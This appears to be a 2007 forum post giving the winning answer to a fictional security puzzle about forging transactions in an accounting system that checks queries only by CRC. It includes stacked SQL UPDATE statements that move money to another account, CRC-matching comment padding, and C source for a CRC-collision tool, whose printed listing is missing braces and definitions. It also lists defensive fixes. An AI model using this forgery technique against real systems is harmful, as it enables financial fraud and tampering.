Post Thu Jul 05, 2007 10:16 am

Skillz April 07 Winning Entry - Technical

Congratulations Balazs Attila-Mihaly for winning the "Best Technical Answer" category.  The guy sent SOURCE CODE... how cool is that?

- -TL


1)  Aside from hating their jobs, what impending action might be another reason for the boys to try this plan?

I don't know if this is a good reason to try their plan, but it is a good reason to do it fast if they decided that they go forward with the
plan: the possibility that Lumburgh moves their cubes such a way that they can't place the rogue wireless access point in a position where it delivers a signal strong enough to the machines in accounting to convince them to connect to it rather than the real access point.

2)  Why was Peter smiling?  What mistakes had Initrode made in their accounting system design?

Their mistake was that (which is unfortunately not uncommon in the real
world) to use a good technology for the wrong purpose. Specifically, CRC is an error correction mechanism which was designed to deal with the errors that can be generate by electro-magnetic interference with the transmission lines for example. It was not designed to be a cryptographic hash or to whitstand attacks from an intelligent third party. Because of this the generation of arbitrary strings with a given CRC value is rather simple and can be done in O(n) (linear) time with regards to the length of the string as described in the paper by Martin
Stigge,  Henryk  Plötz, Wolf Müller and Jens-Peter Redlich titled
"Reversing CRC – Theory and Practice" which can be found at ... /index.htm

Given this the fact that a CRC value at one end and a query which has the same CRC at the other end does not prove anything.

(There are of course other errors and potential errors in the system - like the fact that transactions are not used, which could mean that an interrupted connexion can result in money disappearing without a trace or appearing from nowhere; the system relies on the client issuing updates rather than using stored procedures for example the access to which could be controlled more strictly; also the quality of the "update" logging is questionable, having seen the quality of the other parts and it probably can be bypassed for example by using a delete / insert pair rather than a direct update - but these are irrelevant from the point of view of this challenge)

3)  Give a working example of a forged transaction using the values in Peter's second example.

For the masking to work, the two updates must be sent as one, because otherwise we would have one extra statement logged at the server, compared to the number of CRCs recorder at the client which would make the existence of an anomaly pretty obvious. So during the attack we must substitute the query

UPDATE account SET balance = 164145.162110 WHERE acctno = 141143153;


UPDATE account SET balance = 164145.16 WHERE acctno = 141143153; UPDATE account SET balance = 135.535532 WHERE acctno = 31337; -- <some data to make crc match the crc of the original query>

(In SQL everything after -- is comment until the end of the line, so we can insert almost any data there)

This is usually no problem, because most database drivers allow the execution of multiple statements from a single string, however there are some vendors (most notably newer versions of MySQL) who disallow this to counter SQL injections. MSSQL does not disallow this as far as I know, so everything is ok.

Below are two queries the CRC of which matches the original (for representing the padding the c-style notation was used to encode unprintable characters)

UPDATE account SET balance = 164145.16 WHERE acctno = 141143153; UPDATE account SET balance = 135.535532 WHERE acctno = 31337; --\xc3\xbd\xda\xa7

UPDATE account SET balance = 164145.16 WHERE acctno = 141143153; UPDATE account SET balance = 135.535532 WHERE acctno = 31337;
- --\x6d\x2c\x3e\x62\x22

The difference between the two is that the first can be generated almost instantly (technically speaking the complexity of the generation algorithm is O(n), but practically both n - the length of the string - and the multiplication factor is so small that the algorithm terminates in no time) and always contains exactly 4 bytes, but those bytes may be unprintable ones (over 0x7F). The second query contains only 7-bit clean printable characters, but it was generated with brute force and it took several minutes to generate (meaning that it can not be used in a real-time spoofing system, unless such a big delay is acceptable.
Usually there is no problem with dumping arbitrary bit data query - since it's in the comment section anyway - but there might be some need to have 7-bit clean padding material. However the bruteforce approach creates new problems because lag they introduce (like someone in accounting performing the update and checking the results after several minutes and wondering why the update didn't occure yet).

4)  How should the transaction system be fixed to avoid this kind of problem in the future?

As a quick (and probably easy to implement) first step the length of the queries should also be stored together with the CRC value and verified on comparison. This makes the spoofing almost impossible since there is no space to add the additional query to. When a complete redesign becomes possible, the following things should be implemented to avoid further security problems of this kind:

- -an encrypted tunnel between the database server and the machines in accounting. Options would be SSH port forwarding, IPSEC and probably MSSQL has native support for SSL sockets.
- -creating stored procedures for the operations and give access from the outside world (ie. accounting) only to the stored procedures, not to any tables
- -if MSSQL has an option to disallow multiple statements in the same query, it should be set.
- -stronger - an possibly multiple- hash functions should be used (and by hash functions I mean "real" hash functions like MD5 or SHA) and the length of the original query should also be stored.

Below you can find the source code for the program written to generate to padding at the end of the queries so that they have a particular CRC value. It takes two parameters: the original string (so that it can compute the target CRC value) and the string which should be completed so that it has that particular CRC value. It outputs two things: the first are the four bytes / characters generated by the algorithm described in the Reversing CRC paper and the second ones are generated by brute-force and are guaranteed to be 7-bit clean. For example if the command line is:

"UPDATE account SET balance = 164145.162110 WHERE acctno = 141143153;"
"UPDATE account SET balance = 164145.16 WHERE acctno = 141143153; UPDATE account SET balance = 135.535532 WHERE acctno = 31337; --"

then the output will be:

Last four characters (first char last):
a7 167 º
da 218 ┌
bd 189 ╜
c3 195 ├
Searching for 7bit clean solution
Trying 1 chars
Trying 2 chars
Trying 3 chars
Trying 4 chars
Trying 5 chars
22 34  "
62 98  b
3e 62  >
2c 44  ,
6d 109 m

- ----- source code -----
typedef unsigned int uint32;
typedef unsigned char uchar;

#define CRCPOLY 0xEDB88320
#define CRCINV  0x5B358FD3

uint32 crcTable[256];

void initCrcTable() {
    uint32 c;
    for (int n = 0; n < 256; n++) {
        c = n;
        for (int k = 0; k < 8; k++) {
            if ((c & 1) != 0) {
                c = CRCPOLY ^ (c >> 1);
            } else {
                c >>= 1;
        crcTable[n] = c;

inline uint32 crc32(unsigned char *buffer, int length, uint32 initValue = INITXOR ^ FINALXOR) {
    if (NULL == buffer) return 0;

    uint32 crcreg = initValue ^ FINALXOR ;
    for (int i = 0; i < length; i++)
        crcreg = (crcreg >> 8) ^ crcTable[((crcreg ^ buffer[i]) & 0xFF)];
    return crcreg ^ FINALXOR;

void fixCrcEnd(unsigned char *buffer, int length, uint32 targetCrc) {
    if (NULL == buffer) return; if (length <= 4) return;

    int i;
    targetCrc ^= FINALXOR;

    uint32 crcreg = crc32(buffer, length - 4) ^ FINALXOR;

    uint32 newContent = 0;
    for (i = 0; i < 32; i++) {
        if (newContent & 1) {
            newContent = (newContent >> 1) ^ CRCPOLY;
        } else {
            newContent >>= 1;
        if (targetCrc & 1)
            newContent ^= CRCINV;
        targetCrc >>= 1;
    newContent ^= crcreg;

    for (i = 0; i < 4; i++)
        buffer[length - 4 + i] = (newContent >> i*8) & 0xFF; }

inline void printChar(uchar c) {
    printf("%02x %-3d %c\n", (uint32)c, (uint32)c, c); }

uint32 target;

int find(unsigned int c, int len) {
    uchar cc;
    if (len <= 1) {
        for (cc = '\x20'; cc < '\x7F'; cc++) {
            if (crc32(&cc, 1, c) == target) {
                return 1;
        return 0;
    } else {
        for (cc = '\x20'; cc < '\x7F'; cc++) {
            uint32 c2 = crc32(&cc, 1, c);
            if (find(c2, len-1)) {
                return 1;
        return 0;

int main(int argc, char* argv[])
    if (argc < 3) {
        printf("Usage: %s <start string> <target string>\n", argv[0]);
        return 1;


    int startLength = strlen(argv[1]);
    int endLength = strlen(argv[2]);

    uchar *start = (uchar*)malloc(startLength + 1);
    strcpy((char*)start, argv[1]);

    uchar *end = (uchar*)malloc(endLength + 5);
    strcpy((char*)end, argv[2]);
    strcat((char*)end, "    ");
    endLength += 4;

    uint32 targetCrc = crc32(start, startLength);
    fixCrcEnd(end, endLength, targetCrc);

    printf("Last four characters (first char last):\n");
    printChar(end[endLength - 1]);
    printChar(end[endLength - 2]);
    printChar(end[endLength - 3]);
    printChar(end[endLength - 4]);

    printf("Searching for 7bit clean solution\n");
    target = targetCrc;
    uint32 startCrc = crc32(end, endLength - 4);
    for (int i = 1; i < 10; i++) {
        printf("Trying %d chars\n", i);
        if (find(startCrc, i))

    return 0;
- ----- end source code -----

Best regards,

Balazs Attila-Mihaly